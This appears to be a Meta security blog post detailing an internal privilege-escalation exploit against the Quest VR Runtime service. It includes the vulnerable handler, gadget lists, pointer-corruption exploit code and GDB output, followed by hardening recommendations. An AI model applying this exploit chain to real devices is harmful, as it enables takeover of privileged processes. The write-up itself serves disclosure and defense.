How a Quest 2 code review turned into a full exploit walkthrough
Meta's Native Assurance team routinely reviews code across the company's products looking for security weaknesses. In 2021, a review of a privileged service called VR Runtime on VROS—the AOSP-based operating system for Meta Quest devices—turned up multiple memory corruption vulnerabilities reachable from any installed application. The flaws never shipped to users, but the team decided to use them to answer a deeper question: if an attacker did find such a bug, what would exploitation actually look like on this platform?
The result was a working elevation-of-privilege exploit that achieves arbitrary native code execution in VR Runtime from an unprivileged application over Runtime IPC. The work produced concrete recommendations that Meta says it is now applying to improve the security of Quest products.
The VROS attack surface
VROS is an in-house Android build customized for Quest hardware. On top of AOSP, it adds firmware, kernel modifications, device drivers, system services, SELinux policies, and applications tailored to VR. Because it shares Android's foundation, VROS also shares Android's core security model: SELinux confines unprivileged code, and climbing to full device control typically requires chaining multiple vulnerabilities.

VR applications on VROS are still just Android applications, but they rely on a set of system services to deliver the VR experience. One of those services, VR Runtime, handles time warp and composition for client apps. It lives in the com.oculus.vrruntimeservice process inside the com.oculus.systemdriver package (VrDriver.apk). Since VrDriver is installed to /system/priv-app/, the service runs with the priv_app SELinux domain, granting it privileges far beyond those of a normal application.
How applications talk to VR Runtime
Client applications reach VR Runtime through a custom IPC mechanism Meta calls Runtime IPC. It sits on top of UNIX pipes and ashmem shared memory, with a broker process called runtimeipcbroker handling the initial connection setup. Once established, the client and server communicate directly.
VR apps connect to VR Runtime using either the VrApi or OpenXR interface. Both load a client-side library dynamically from VrDriver.apk that implements the Runtime IPC channel. The startup sequence goes like this:
- A loader linked into every VR application lets the app work across multiple products and versions.
- At startup, the loader calls
dlopenonvrapiimpl.sofrom VrDriver.apk and resolves the public VrApi/OpenXR function pointers. - The application then creates a Runtime IPC connection to VR Runtime. This step is mediated by the native
runtimeipcbrokerprocess, which performs permission checks and then hands the connection off so client and server talk directly over pipes and shared memory.
Where the risk sits
The default SELinux domain for VROS applications is untrusted_app, covering both Meta Quest Store installs and sideloaded software. The domain is deliberately narrow, but it still permits communication with VR Runtime. That creates a privilege boundary worth attacking: if an untrusted app can exploit a bug in VR Runtime, it gains the service's elevated permissions.
The inputs crossing that boundary are RPC requests and shared memory reads and writes. Everything VR Runtime processes from an untrusted source is therefore part of its attack surface:
The exploitation scenario
Quest owners can enable developer mode, which allows sideloading applications and grants adb/shell access—but not root. The threat model for this work was an app that leverages that developer-mode access to escalate further. Such an app could be intentionally malicious or installed by a user seeking to jailbreak the headset.
The vulnerability: a repeated 8-byte write
The targeted flaw arrived in a 2021 commit that added handling for a new Runtime IPC message type. The code processed a request object whose fields are fully attacker-controlled:
REGISTER_RPC_HANDLER(
SetPerformanceIdealFeatureState,
[=](const uint32_t clientId,
const SetPerformanceIdealFeatureStateRequest request,
bool& response) {
// ...
PerformanceManagerState->IdealFeaturesState.features_[static_cast<uint32_t>(request.Feature)]
.status_ = request.Status;
PerformanceManagerState->IdealFeaturesState.features_[static_cast<uint32_t>(request.Feature)]
.fidelity_ = request.Fidelity;
// ...
response = true;
return reflect::RPCResult_Complete;
})
The reachable bug is an out-of-bounds write. Both request.Feature and request.Status come straight from the wire, and the destination is a fixed-size array, PerformanceManagerState->IdealFeaturesState.features_, placed in the .bss section of libvrruntimeservice.so:
enum class FeatureFidelity : uint32_t { ... };
enum class FeatureStatus : uint32_t { ... };
struct FeatureState {
FeatureFidelity fidelity_;
FeatureStatus status_;
};
struct FeaturesState {
std::array<FeatureState, 31> features_;
};
Since the array index and value are both attacker-controlled, any VR application can send a crafted SetPerformanceIdealFeatureState message and perform an arbitrary 8-byte write at any 32-bit offset from the array. The condition is stable and repeatable.
Turning the write into code execution
The write primitive alone doesn't give control flow—the corruption target needs to be both reachable and attacker-invocable. The team used Ghidra to map the area of .bss adjacent to the array and look for forward-reachable targets:
They found one that fit: an array of function pointers inside a global ovrVulkanLoader instance. These pointers are resolved at runtime into libvulkan.so functions, and, crucially, some are invocable indirectly from attacker-supplied RPC input:
The chosen target was vkGetPhysicalDeviceImageFormatProperties, which is reachable via the CreateSwapChain RPC command. The call path flows through CreateTextureSwapChainVulkan:
Corrupting that one pointer and triggering the RPC path yields program counter control:
Why ASLR didn't save the day
Controlling the PC is only half the battle. ASLR normally prevents an attacker from knowing where libraries, the heap, or the stack live—information needed to build a JOP or ROP chain. The usual remedies are leaking address hints or finding another way. In this case, the team found something better.
$ adb shell ps -A
USER PID PPID VSZ RSS WCHAN ADDR S NAME
root 694 1 5367252 128760 poll_schedule_timeout 0 S zygote64
u0_a5 1898 694 5801656 112280 ptrace_stop 0 t com.oculus.vrruntimeservice
u0_a80 7519 694 5383760 104720 do_epoll_wait 0 S com.oculus.vrexploit
Both the attacker's app and VR Runtime are forked from the same zygote64 process. Fork preserves the parent's address space, which means every library already mapped at fork time lands at identical addresses in both child processes. A comparison of the two processes' mappings confirms this—libc, for example, sits at the same base address in each:
$ adb shell cat /proc/1898/maps | grep libc.so
7dae043000-7dae084000 r--p 00000000 fd:00 286 /apex/com.android.runtime/lib64/bionic/libc.so
7dae084000-7dae11e000 --xp 00040000 fd:00 286 /apex/com.android.runtime/lib64/bionic/libc.so
7dae11e000-7dae126000 r--p 000d9000 fd:00 286 /apex/com.android.runtime/lib64/bionic/libc.so
7dae126000-7dae129000 rw-p 000e0000 fd:00 286 /apex/com.android.runtime/lib64/bionic/libc.so
$ adb shell cat /proc/7519/maps | grep libc.so
7dae043000-7dae084000 r--p 00000000 fd:00 286 /apex/com.android.runtime/lib64/bionic/libc.so
7dae084000-7dae11e000 --xp 00040000 fd:00 286 /apex/com.android.runtime/lib64/bionic/libc.so
7dae11e000-7dae126000 r--p 000d9000 fd:00 286 /apex/com.android.runtime/lib64/bionic/libc.so
7dae126000-7dae129000 rw-p 000e0000 fd:00 286 /apex/com.android.runtime/lib64/bionic/libc.so
That removes the need to defeat ASLR entirely. With known addresses, the team could enumerate every shared library present in both processes and scan them for code reuse gadgets:
...
0x240b4: ldr x8, [x0]; ldr x8, [x8, #0x40]; blr x8;
0x23ad0: ldr x8, [x0]; ldr x8, [x8, #0x48]; blr x8;
0x23ab0: ldr x8, [x0]; ldr x8, [x8, #0x50]; blr x8;
0x24040: ldr x8, [x0]; ldr x8, [x8, #0x70]; blr x8;
0x23100: ldr x8, [x0]; ldr x8, [x8, #8]; blr x8;
0x23ae0: ldr x8, [x0]; ldr x8, [x8]; blr x8;
0x22ba8: ldr x8, [x0]; ldr x9, [x8, #0x30]; add x8, sp, #8; blr x9;
0x231e0: ldr x8, [x0]; mov x19, x0; ldr x8, [x8, #0x58]; blr x8;
0x208fc: ldr x8, [x0]; rev x0, x8; ret;
0x231f0: ldr x8, [x19]; mov w20, w0; mov x0, x19; ldr x8, [x8, #0x60]; blr x8;
0x22de4: ldr x8, [x1]; mov x0, x1; ldr x8, [x8, #0x70]; blr x8;
0x179e4: ldr x8, [x20], #0x10; sub x19, x19, #1; ldr x8, [x8]; blr x8;
0x17ea4: ldr x8, [x21]; mov x0, x21; ldr x8, [x8, #0x10]; blr x8;
0x23b0c: ldr x8, [x21]; mov x0, x21; mov x1, x20; ldr x8, [x8, #0x48]; blr x8;
0x17b38: ldr x8, [x22], #0x10; mov x0, x21; ldr x8, [x8]; blr x8;
0x17ad8: ldr x8, [x22], #0xfffffffffffffff0; mov x0, x21; ldr x8, [x8]; blr x8;
0x23be0: ldr x8, [x22]; mov w23, w0; mov x0, x22; ldr x8, [x8, #0x60]; blr x8;
With the address space mapped and a gadget pool at hand, the final step was assembling a JOP chain that would execute an arbitrary payload inside the VR Runtime process.
Building the JOP chain
The exploit scenario assumed an untrusted application already installed on the device. The goal was to make the VR Runtime process call dlopen on a shared library shipped inside the malicious APK. When the runtime loaded that library, its initialization function would execute our payload automatically.
That meant our jump-oriented programming (JOP) chain had to perform two steps:
- Place a pointer in
$x0(the first argument register in the ARM64 ABI) that pointed to the path of our shared module. - Redirect the program counter to
dlopen.
At the moment of control-flow hijack, the register state we controlled is shown below. The challenge was that the only place we could inject controlled data was the target's .bss section, and we didn't know its absolute address, so we couldn't embed a direct pointer to it in our chain.

Fortunately, in the hijack state, the $x21 register happened to hold a pointer (ovrVulkanLoader) into that same .bss section. In theory we could just move $x21 — or an offset from it — into $x0 and get our controlled path string.
After extensive gadget hunting, we found one that performed the necessary move while preserving our control over the execution flow:
ldr x2,[x21 , #0x80 ]
mov w1,#0x1000
mov x0,x21
blr x2
A second gadget set $x1 (the second ARM64 argument register) to a benign value and then branched to dlopen:
mov w1,#0x2
bl <EXTERNAL>::dlopen undefined dlopen()
The write vulnerability we used was repeatable, so we could overwrite multiple locations at offsets from $x21. We issued several RPC commands to prepare the gadget state in memory and only then triggered the hijack. Combining the two gadgets this way let us load the shared library and achieve arbitrary native code execution:
// Corrupt the `vulkanLoader.vkGetPhysicalDeviceImageFormatProperties` pointer which is
// at +0x68. We hijack control flow by triggering a function call in
// ovrSwapChain::CreateTextureSwapChainVulkan.
// First gadget in eglSubDriverAndroid.so
// 0010b3ac a2 42 40 f9 ldr x2,[x21 , #0x80 ]
// 0010b3b0 e1 03 14 32 mov w1,#0x1000
// 0010b3b4 e0 03 15 aa mov x0,x21
// 0010b3b8 40 00 3f d6 blr x2
const uint64_t vkGetPhysicalDeviceImageFormatPropertiesOffset = VulkanLoaderOffset + 0x68;
const uint64_t FirstGadget = ModuleMap.at("eglSubDriverAndroid.so") + 0xb3'ac;
Corruptions.emplace_back(vkGetPhysicalDeviceImageFormatPropertiesOffset, FirstGadget);
// Second gadget in libcutils.so:
// 0010bc78 41 00 80 52 mov w1,#0x2
// 0010bc7c ad 0d 00 94 bl <EXTERNAL>::dlopen undefined dlopen()
const uint64_t SecondGadget = ModuleMap.at("/system/lib64/libcutils.so") + 0xbc'78;
Corruptions.emplace_back(VulkanLoaderOffset + 0x80, SecondGadget);
The same sequence as observed in GDB:
(gdb) break *0x7c98012c78
Breakpoint 1 at 0x7c98012c78
(gdb) c
Continuing.
Thread 41 "Thread-15" hit Breakpoint 1, 0x0000007c98012c78 in ?? ()
(gdb) x/s $x0
0x7bb11633e8: "/data/app/com.oculus.vrexploit-OjL813hdSAtlc3fEkJKdrg==/lib/arm64/libinject-arm64.so"
(gdb) c
Continuing.
warning: Could not load shared library symbols for /data/app/com.oculus.vrexploit-OjL813hdSAtlc3fEkJKdrg==/lib/arm64/libinject-arm64.so.
At that point our objective was met: we had arbitrary code execution inside the VR Runtime process.
Key takeaways
We focused the post-exercise analysis on actionable improvements to Meta's security posture. The most notable outcomes are below.
Protecting function pointers in RW globals
Early in the engagement we noticed that VR Runtime stored many function pointers in writable global memory. During initialization, the process would call dlopen on system libraries and then use dlsym to populate those pointers. This pattern gives developers flexibility with vendor libraries that expose a common API (for example, libvulkan.so), but the pointers end up in read-write memory that is a prime target for memory-corruption overwrites. In this case they were within reach of our out-of-bounds write primitive, and they weren't protected by compiler mitigations like control-flow integrity.
After the exercise, we explored ways to make those pointers read-only once initialized — analogous to how full RELRO protects linker-computed function pointers at load time. Full RELRO re-maps the relevant pages as read-only after initialization, so malicious writes can't touch them. We applied this idea to VR Runtime by marking several global function pointers read-only after setup. Had that been in place during the engagement, exploitation would have been significantly harder. We're now working on an LLVM compiler pass to generalize the technique.
Observations on SELinux
SELinux was one of the most restrictive parts of exploit development — and also one of the more surprising. We fully expected it to block loading a .so from an untrusted app's data directory into a privileged process. It didn't. Android's default SELinux policy lets privileged applications (typically installed as platform_app, system_app, or priv_app) execute code under /data/app, which is where untrusted apps normally live.
Android allows this so privileged apps can be updated outside the OTA cycle. An updated privileged app lands in /data/app but keeps its privileged SELinux context. While we didn't develop a fix for this, it looks like a reasonable area for future hardening: privileged applications generally shouldn't be able to run code that belongs to less-privileged applications.



